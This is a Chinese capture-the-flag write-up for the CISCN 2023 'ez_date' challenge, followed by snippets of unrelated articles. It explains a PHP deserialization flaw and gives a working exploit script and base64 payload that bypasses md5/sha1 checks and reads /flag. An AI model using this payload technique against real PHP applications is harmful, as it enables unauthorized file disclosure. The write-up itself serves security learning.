[CISCN 2023 华北]ez_date

news2025/1/18 17:16:50

[CISCN 2023 华北]ez_date

点开之后是一串php代码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); 

这段代码定义了一个名为date的类,该类包含三个公共属性 a 、 a、 ab和$file。当对一个date类的对象进行反序列化操作时,会调用__wakeup方法进行一系列的检查和操作,包括检查属性是否为数组以及根据特定条件读取和处理文件内容。

以下是对代码的详细解读:

 <?php
error_reporting(0);/*关闭 PHP 的错误报告,这样在脚本
执行过程中不会显示任何错误信息。*/
highlight_file(__FILE__);/*以语法高亮的形式输出
当前文件的内容,通常用于调试或查看代码结构。*/
class date{  //定义了一个名为date的类。
    public $a;
    public $b;
    public $file; /*在类中定义了三个公共属性,可以
    在类的任何地方被访问和修改。*/
    public function __wakeup()/*定义了魔术方法__wakeup,当对象被
    反序列化时会自动调用这个方法。*/
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');/*检查属性$a和$b是否为数组,如果其中
            任何一个是数组,则输出no array并终止脚本执行。*/
        }
        if( ($this->a !== $this->b) && (md5($this->a) === 
        md5($this->b)) && (sha1($this->a)=== 
        sha1($this->b)) ){  /*确保$a和$b的值不相等。
        检查$a和$b经过 MD5 哈希后的结果是否相等。检查$a
        和$b经过 SHA1 哈希后的结果是否相等,如果这些条
        件都满足,则执行后续代码*/
            $content=date($this->file);
            $uuid=uniqid().'.txt';/*生成一个唯一的 ID,
            并加上.txt后缀,用于创建一个临时文件名*/
            file_put_contents($uuid,$content);/*将$content的
            内容写入到以$uuid命名的文件中。*/
            $data=preg_replace('/((\s)*(\n)+(\s)*)/  
            i','',file_get_contents($uuid));/*
    读取刚刚创建的文件内容,然后使用正则
    表达式去除文件内容中的空白字符
    (包括空格、换行和制表符等),
    并将处理后的结果赋值给$data。*/

            echo file_get_contents($data);/*尝试读取$data所代表
            的文件内容并输出到页面上。如果$data不是
            一个有效的文件名,可能会导致错误。*/
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); /*从 URL 参数code
中获取值,先进行 Base64 解码,然后对解码后的
字符串进行反序列化操作,尝试创建一个date类的对象。*/

接着我们编写脚本:

<?php
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
}
$q=new date();
$q->a=1;
$q->b='1';
$q->file='/f\l\a\g';
echo base64_encode(serialize($q));
?>

运行之后结果如下:
在这里插入图片描述所以payload为:

/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9

接着我们打开HackBar,运行之后得到:
在这里插入图片描述由此得到本题flag:
NSSCTF{bfdf3bd3-6faa-4270-a1d7-261398aa9843}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2059753.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

初级python代码编程学习----简单的图形化闹钟小程序

我们来创建一个简单的图形化闹钟程序通常需要使用图形用户界面&#xff08;GUI&#xff09;库。以下是使用Python的Tkinter库创建一个基本闹钟程序的步骤&#xff1a; 环境准备 确保已安装Python。安装Tkinter库&#xff08;Python 3.8及以上版本自带Tkinter&#xff0c;无需…

计算机毕业设计选题推荐-餐馆满意度分析-Python爬虫-K-means算法-nlp情感分析

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

亿玛科技:TiDB 6.1.5 升级到 7.5.1 经验分享

作者&#xff1a; foxchan 原文来源&#xff1a; https://tidb.net/blog/6e628afd 为什么要升级&#xff1f; 本次升级7.5的目的如下&#xff1a; 1、tidb有太多的分区表需要归档整理。7.5版本这个功能GA了。 2、之前集群tikv节点的region迁移过慢&#xff0c;影响tikv节…

http连接未释放导致生产故障

凌晨4点运维老大收到报警&#xff08;公司官网页面超时&#xff0c;上次故障因为运维修改nginx导致官网域名下某些接口不可用后&#xff0c;运维在2台nginx服务器上放了检测程序&#xff0c;检测官网页面&#xff09;&#xff0c;运维自己先看了看服务器相关配置&#xff0c;后…

linux 安装MAT(MemoryAnalyzerTool),并且分析java dump的方法

当我们的java进程出现异常的时候&#xff0c;我们第一件想做的事情是什么呢&#xff1f;应该就是要分析java的内存了。假如说&#xff0c;我们已经有了一个java内存的dump文件&#xff0c;有哪些的方法&#xff0c;可以对这个导出的dump文件进行分析呢&#xff1f; 比如&#…

Vue插值:双大括号标签、v-text、v-html、v-bind 指令

创建应用程序实例后&#xff0c;需要通过插值进行数据绑定。数据绑定是 Vue.js 最核心的一个特性。建立数据绑定后&#xff0c;数据和视图会相互关联&#xff0c;当数据发生变化时&#xff0c;视图会自动进行更新。这样就无须手动获取 DOM 的值&#xff0c;使代码更加简洁&…

【Python_PyQtGraph 学习笔记(十一)】基于ImageExporter更改导出图片的大小

基于ImageExporter更改导出图片的大小 前言正文1、ImageExporter 类介绍1.1 ImageExporter 类特点1.2 ImageExporter 类用法2、示例代码3、遇到的问题前言 在 基于PyQtGraph设置槽函数,实现保存图片到本地的功能 一文中我们成功地将 PyQtGraph 绘制的图形以图片形式保存到本地…

ChatGPT与Discord的完美结合——团队协作的得力助手

本文将教你如何集成Discord Bot&#xff0c;助力团队在工作中实现更高效的沟通与协作。通过充分发挥ChatGPT的潜力&#xff0c;进一步提升工作效率和团队协作能力。无需编写任何代码即可完成本文所述的操作&#xff0c;进行个性化定制只需对参数进行微调即可。 方案介绍 如果在…

【Python系列】中位数计算

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

鸿蒙开发5.0【基于AVCodecKit】音视频解码及二次处理播放

1&#xff1a;场景描述 场景&#xff1a;基于VideoCoder的音视频解码及二次处理播放。 首先导入选择器picker模块&#xff0c;使用PhotoViewPicker方法拉起图库选择视频文件&#xff0c;将视频文件传递到native侧使用Demuxer解封装器进行解封装&#xff0c;再使用OH_VideoDec…

Yolov8:模型部署到安卓端

1. 项目准备 1.1 先安装JDK和Android studio &#xff08;1&#xff09;JDK下载&#xff1a; 官网站&#xff1a;https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 同意协议后&#xff0c;下载相应版本的JDK 我这里没有下载JDK21版的&a…

作品集图片美化处理网站推荐

今天要做作品集的时候发现单一的截屏很单调&#xff0c;想着看能不能添加一些边框之类的元素使图片更加精美有活力&#xff0c;于是就找到了一个个人认为非常好用的网站镜头 - 创建惊人的模型 (shots.so)&#xff0c;它利用的是ai算法&#xff0c;使用起来非常便捷&#xff0c;…

亚马逊店铺自养号测评:安全可控的引流新策略全解析

亚马逊作为全球最大的电商平台之一&#xff0c;吸引了无数卖家加入其平台&#xff0c;争夺市场份额。然而&#xff0c;新店如何在众多竞争对手中脱颖而出&#xff0c;实现引流和销售的快速增长&#xff0c;成为了卖家们亟待解决的问题。本文珑哥将和大家探讨亚马逊新店引流的关…

浅析Thermo-Calc软件在合金热处理工艺中的应用

Thermo-Calc软件是世界公认的最好的最全面的多元体系热力学与相图计算软件&#xff0c;具备通用、计算灵活的特点&#xff0c;被广泛应用于钢铁、有色金属、核燃料、高熵合金等多领域的材料成分设计优化、工艺过程的设计优化、缺陷和问题的分析等过程中&#xff0c;是目前国内外…

焊工安全操作规范

1、焊工作业人员必须经专业安全技术培训考试合格&#xff0c;发给许可证后&#xff0c;持证上岗操作。明火作业必须履行审批手续。 2、工作前应认真检查工具、设备是否完好&#xff0c;焊机的外壳是否可靠地接地。焊机的修理应由电气保养人员进行&#xff0c;其他人员不得拆修…

Maven-07.依赖管理-依赖范围

一.依赖范围 一个项目依赖的jar包默认情况下可以在任何地方使用。这里的任何地方是指在main文件夹范围内作用&#xff0c;test文件夹范围内作用和package打包进去都可以。 依赖的范围可以通过scope标签进行调整&#xff0c; scope的值和其作用范围以及代表性jar包范例如上表所…

渗透必备:BurpSuite

一、介绍 BurpSuite是渗透测试、漏洞挖掘以及Web应用程序测试的最佳工具之一&#xff0c;是一款用于攻击web 应用程序的集成攻击测试平台&#xff0c;可以进行抓包、重放、爆破&#xff0c;包含许多工具&#xff0c;能处理对应的HTTP消息、持久性、认证、代理、日志、警报。 …

电力领域知识图谱:赋能电力智能发展的关键技术

电力领域知识图谱&#xff1a;赋能电力智能发展的关键技术 前言电力领域知识图谱 前言 电力领域知识图谱作为一项新兴技术&#xff0c;在电力系统中具有重要的应用价值。它能够以结构化的方式刻画电力系统中的各种概念、实体、事件及其间的关系&#xff0c;为电力人工智能的发…

淮北农商银行年报与审计报告数据不合,盈利能力与资产质量承压

撰稿|芋圆 来源|贝多财经 7月24日&#xff0c;国家金融监督管理总局发布《国家金融监督管理总局安徽监管局关于淮北农村商业银行股份有限公司&#xff08;以下简称“淮北农商行”或“淮北农商银行”&#xff09;吸收合并安徽濉溪农村商业银行股份有限公司的批复》。 内容显示…

SM4前后端加密和解密

一&#xff1a;前端vue 二&#xff1a;后端Java 三&#xff1a;详细 3.1maven添加 <dependency><groupId>org.bouncycastle</groupId><artifactId>bcprov-jdk15to18</artifactId><version>1.66</version> </dependency> <…